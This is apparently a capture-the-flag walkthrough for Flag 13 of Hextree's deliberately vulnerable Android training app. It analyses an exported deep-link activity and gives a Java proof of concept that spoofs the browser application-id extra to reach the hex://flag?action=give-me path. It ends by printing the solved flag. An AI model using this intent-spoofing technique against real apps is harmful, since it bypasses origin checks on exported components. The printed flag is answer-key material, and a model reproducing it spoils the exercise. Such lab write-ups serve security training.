Static Analysis

AndroidManifest.xml

Upon inspecting the Flag13Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag13Activity"  
	android:exported="true">  
	<intent-filter>  
		<action android:name="android.intent.action.VIEW"/>  
		<category android:name="android.intent.category.DEFAULT"/>  
		<category android:name="android.intent.category.BROWSABLE"/>  
		<data android:scheme="hex"/>  
		<data android:host="open"/>  
		<data android:host="flag"/>  
	</intent-filter>  
</activity>

We can see from the manifest this activity is a bit unique it has the BROWSABLE filter which means we can access this intent from a link, it uses hex as a scheme and has two hosts open and flag so in summary we can access it using hex://open or hex://flag

Flag13Activity Class

public class Flag13Activity extends AppCompactActivity {  
    public Flag13Activity() {  
        this.name = "Flag 13 - Create a hex://open/ link";  
        this.tag = "Deeplink";  
        this.tagColor = R.color.pink;  
        this.flag = "M6g6tRLo6pkUO4KR2Wer18bhc8UuT+IM2y9bdRICcdo/u6y9bdnmEp7f8LLuKw+1";  
    }  
  
    private boolean isDeeplink(Intent intent) {  
        String action;  
        return (intent == null || (action = intent.getAction()) == null || !action.equals("android.intent.action.VIEW") || !intent.getCategories().contains("android.intent.category.BROWSABLE") || intent.getStringExtra("com.android.browser.application_id") == null) ? false : true;  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        Intent intent = getIntent();  
        if (intent == null) {  
            finish();  
        }  
        if (isDeeplink(intent)) {  
            Uri data = intent.getData();  
            if (data.getHost().equals("flag") && data.getQueryParameter("action").equals("give-me")) {  
                this.f.addTag(data.getQueryParameter("action"));  
                success(this);  
                return;  
            } else {  
                if (!data.getHost().equals("open") || data.getQueryParameter("message") == null) {  
                    return;  
                }  
                Toast.makeText(this, "Website: " + data.getQueryParameter("message"), 1).show();  
                return;  
            }  
        }  
        Intent intent2 = new Intent("android.intent.action.VIEW");  
        intent2.setData(Uri.parse("https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=hex://open?message=Hello+World"));  
        startActivity(intent2);  
    }  
}

Upon reviewing the code we notice that in order to get the flag we need to send a request to the activity with the host name flag and a query parameter action with its value set to give-me, pretty simple so let’s start making the poc

Creating POC

Flag13.java

public class Flag13 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag13);
        getSupportActionBar().setTitle("Flag 13");
 
        Button button = findViewById(R.id.button_flag13);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("Tensai-POC", "Going to flag 13 activity");
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("io.hextree.attacksurface",
                        "io.hextree.attacksurface.activities.Flag13Activity"));
                intent.setAction("android.intent.action.VIEW");
                intent.addCategory("android.intent.category.BROWSABLE");
                intent.putExtra("com.android.browser.application_id", "Tensai POC");
                intent.setData(Uri.parse("hex://flag?action=give-me"));
                startActivity(intent);
            }
        });
    }
}

Flag

HXT{browser-link-or-app2app-s82h}